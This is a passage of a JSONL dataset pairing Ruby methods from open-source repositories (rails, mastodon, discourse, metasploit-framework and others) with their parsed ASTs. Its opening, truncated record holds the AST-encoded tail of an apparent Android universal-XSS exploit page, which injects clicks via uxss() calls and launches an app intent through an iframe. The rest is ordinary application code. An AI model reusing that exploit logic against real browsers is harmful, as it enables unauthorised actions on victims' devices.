\\\"*\\\");');\\n\"]},{\"type\":\"str\",\"children\":[\"            }, 500);\\n\"]},{\"type\":\"str\",\"children\":[\"          } else if (event.data === '2') {\\n\"]},{\"type\":\"str\",\"children\":[\"            w.clearInterval(i1);\\n\"]},{\"type\":\"str\",\"children\":[\"            i2 = setInterval(function(){2\\n\"]},{\"type\":\"str\",\"children\":[\"              uxss('document.querySelector(\\\"button.play-button.apps.loonie-ok-button\\\").click(); top.postMessage(\\\"3\\\", \\\"*\\\");');\\n\"]},{\"type\":\"str\",\"children\":[\"              }, 500);\\n\"]},{\"type\":\"str\",\"children\":[\"          } else if (event.data === '3') {\\n\"]},{\"type\":\"str\",\"children\":[\"            clearInterval(i2);\\n\"]},{\"type\":\"str\",\"children\":[\"            setTimeout(function(){\\n\"]},{\"type\":\"str\",\"children\":[\"              setInterval(function(){\\n\"]},{\"type\":\"str\",\"children\":[\"                frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end';\\n\"]},{\"type\":\"str\",\"children\":[\"              }, 500);\\n\"]},{\"type\":\"str\",\"children\":[\"            }, 1000);\\n\"]},{\"type\":\"str\",\"children\":[\"          }\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        document.body.appendChild(frame);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detect_login_js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      </body>\\n\"]},{\"type\":\"str\",\"children\":[\"      </html>\\n\"]}]}]}","id":"bdbb1e0d-7ece-447a-8a68-b6f67c3d4a4d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/webhook_listener.rb","start_line":18,"raw_source":"def conversation_created(event)\n    conversation = extract_conversation_and_account(event)[0]\n    inbox = conversation.inbox\n    payload = conversation.webhook_data.merge(event: __method__.to_s)\n    deliver_webhook_payloads(payload, inbox)\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_conversation_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"inbox\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"webhook_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deliver_webhook_payloads\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"inbox\"]}]}]}]}","id":"9321b63c-aa7f-4f3d-ae4a-b57983f66894"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/sharing_strategies/project_query_strategy.rb","start_line":82,"raw_source":"def shares(reload: false)\n      results = super\n      return results if filter_for_groups?\n\n      if (!filtered_by_role? && results.present?) || owner_matches_role_filter?\n        (results + [virtual_owner_share]).sort_by { |share| share.principal.name }\n      else\n        results\n      end\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"shares\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"reload\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_for_groups?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filtered_by_role?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"present?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"owner_matches_role_filter?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"virtual_owner_share\"]}]}]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"share\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"principal\"]},\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"8f678029-dc6a-4d76-b173-9e33f0474304"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/type/date_time_test.rb","start_line":20,"raw_source":"def test_string_to_time_with_timezone\n        [\"UTC\", \"US/Eastern\"].each do |zone|\n          with_timezone_config default: zone do\n            type = Type::DateTime.new\n            assert_equal ::Time.utc(2013, 9, 4, 0, 0, 0), type.cast(\"Wed, 04 Sep 2013 03:00:00 EAT\")\n          end\n        end\n      end","complexity_score":12.38,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_to_time_with_timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"UTC\"]},{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zone\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"zone\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"DateTime\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2013]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"cast\",{\"type\":\"str\",\"children\":[\"Wed, 04 Sep 2013 03:00:00 EAT\"]}]}]}]}]}]}]}","id":"7cf61524-535a-4d69-a203-002301e07a15"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20190927124642_remove_invalid_web_push_subscription.rb","start_line":6,"raw_source":"def up\n    invalid_web_push_subscriptions = Web::PushSubscription.where(endpoint: '')\n                                                          .or(Web::PushSubscription.where(key_p256dh: ''))\n                                                          .or(Web::PushSubscription.where(key_auth: ''))\n                                                          .preload(:session_activation)\n    invalid_web_push_subscriptions.find_each do |web_push_subscription|\n      web_push_subscription.session_activation&.update!(web_push_subscription_id: nil)\n      web_push_subscription.destroy!\n    end\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid_web_push_subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Web\"]},\"PushSubscription\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Web\"]},\"PushSubscription\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_p256dh\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Web\"]},\"PushSubscription\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_auth\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"session_activation\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_web_push_subscriptions\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"web_push_subscription\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_push_subscription\"]},\"session_activation\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_push_subscription_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_push_subscription\"]},\"destroy!\"]}]}]}]}]}","id":"2fd11afc-6b9a-459f-a5ad-a637f4d57d56"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/header.rb","start_line":431,"raw_source":"def opCode=(val)\n        if (0..2).include? val\n          @opCode = val\n        else\n          raise HeaderWrongOpcode, \"Wrong opCode value (#{val}), must be QUERY, IQUERY or STATUS\"\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"opCode=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opCode\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"HeaderWrongOpcode\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wrong opCode value (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"), must be QUERY, IQUERY or STATUS\"]}]}]}]}]}","id":"cd27095a-ca51-4427-a136-151da90e4469"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/lib/poll.rb","start_line":487,"raw_source":"def self.change_vote(user, post_id, poll_name)\n    Poll.transaction do\n      post = Post.find_by(id: post_id)\n\n      # post must not be deleted\n      raise DiscoursePoll::Error.new I18n.t(\"poll.post_is_deleted\") if post.nil? || post.trashed?\n\n      # topic must not be archived\n      if post.topic&.archived\n        raise DiscoursePoll::Error.new I18n.t(\"poll.topic_must_be_open_to_vote\")\n      end\n\n      # user must be allowed to post in topic\n      guardian = Guardian.new(user)\n      if !guardian.can_create_post?(post.topic)\n        raise DiscoursePoll::Error.new I18n.t(\"poll.user_cant_post_in_topic\")\n      end\n\n      poll = Poll.includes(:poll_options).find_by(post_id: post_id, name: poll_name)\n\n      unless poll\n        raise DiscoursePoll::Error.new I18n.t(\"poll.no_poll_with_this_name\", name: poll_name)\n      end\n      raise DiscoursePoll::Error.new I18n.t(\"poll.poll_must_be_open_to_vote\") if poll.is_closed?\n\n      if poll.groups\n        poll_groups = poll.groups.split(\",\").map(&:downcase)\n        user_groups = user.groups.map { |g| g.name.downcase }\n        if (poll_groups & user_groups).empty?\n          raise DiscoursePoll::Error.new I18n.t(\"js.poll.results.groups.title\", groups: poll.groups)\n        end\n      end\n\n      yield(poll)\n\n      poll.reload\n\n      serialized_poll = PollSerializer.new(poll, root: false, scope: guardian).as_json\n      payload = { post_id: post_id, polls: [serialized_poll] }\n\n      post.publish_message!(\"/polls/#{post.topic_id}\", payload)\n\n      serialized_poll\n    end\n  end","complexity_score":91.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"change_vote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"post_id\"]},{\"type\":\"arg\",\"children\":[\"poll_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Poll\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"trashed?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.post_is_deleted\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"archived\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.topic_must_be_open_to_vote\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"guardian\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"can_create_post?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.user_cant_post_in_topic\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"poll\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Poll\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"poll_options\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"poll_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.no_poll_with_this_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"poll_name\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"is_closed?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.poll_must_be_open_to_vote\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"groups\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"poll_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"groups\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_groups\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"name\"]},\"downcase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_groups\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"user_groups\"]}]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"Error\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.poll.results.groups.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"groups\"]}]}]}]}]}]},null]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"reload\"]},{\"type\":\"lvasgn\",\"children\":[\"serialized_poll\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PollSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"poll\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]}]},\"as_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polls\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serialized_poll\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"publish_message!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/polls/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"lvar\",\"children\":[\"serialized_poll\"]}]}]}]}","id":"9d434196-e6d2-4af7-8ea4-31e95765be3c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_network.rb","start_line":304,"raw_source":"def save_load_balancer_health_checks_inventory(ems, hashes, target = nil)\n    target = ems if target.nil?\n\n    ems.load_balancer_health_checks.reload\n    deletes = if target == ems\n                ems.load_balancer_health_checks.dup\n              else\n                []\n              end\n\n    hashes.each do |h|\n      h[:load_balancer_id] = h.fetch_path(:load_balancer, :id)\n      h[:load_balancer_listener_id] = h.fetch_path(:load_balancer_listener, :id)\n    end\n\n    save_inventory_multi(ems.load_balancer_health_checks,\n                         hashes,\n                         deletes,\n                         [:ems_ref],\n                         :load_balancer_health_check_members,\n                         [:load_balancer, :load_balancer_listener])\n    store_ids_for_new_records(ems.load_balancer_health_checks, hashes, :ems_ref)\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"save_load_balancer_health_checks_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"load_balancer_health_checks\"]},\"reload\"]},{\"type\":\"lvasgn\",\"children\":[\"deletes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"load_balancer_health_checks\"]},\"dup\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"load_balancer_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"load_balancer\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"load_balancer_listener_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"load_balancer_listener\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"load_balancer_health_checks\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"lvar\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]},{\"type\":\"sym\",\"children\":[\"load_balancer_health_check_members\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_balancer\"]},{\"type\":\"sym\",\"children\":[\"load_balancer_listener\"]}]}]},{\"type\":\"send\",\"children\":[null,\"store_ids_for_new_records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"load_balancer_health_checks\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]}]}]}","id":"67fff343-83a5-45c7-bfc9-54edc27364d7"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":321,"raw_source":"def javascript_path(source, options = {})\n        path_to_asset(source, { type: :javascript }.merge!(options))\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"javascript_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"path_to_asset\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"javascript\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"46503cd5-7678-4b49-89b8-03b725f780a7"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/format.rb","start_line":34,"raw_source":"def check_options_validity(name)\n          if option = options[name]\n            if option.is_a?(Regexp)\n              if options[:multiline] != true && regexp_using_multiline_anchors?(option)\n                raise ArgumentError, \"The provided regular expression is using multiline anchors (^ or $), \" \\\n                \"which may present a security risk. Did you mean to use \\\\A and \\\\z, or forgot to add the \" \\\n                \":multiline => true option?\"\n              end\n            elsif !option.respond_to?(:call)\n              raise ArgumentError, \"A regular expression or a proc or lambda must be supplied as :#{name}\"\n            end\n          end\n        end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_options_validity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"option\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Regexp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"multiline\"]}]},\"!=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"regexp_using_multiline_anchors?\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The provided regular expression is using multiline anchors (^ or $), \"]},{\"type\":\"str\",\"children\":[\"which may present a security risk. Did you mean to use \\\\A and \\\\z, or forgot to add the \"]},{\"type\":\"str\",\"children\":[\":multiline => true option?\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A regular expression or a proc or lambda must be supplied as 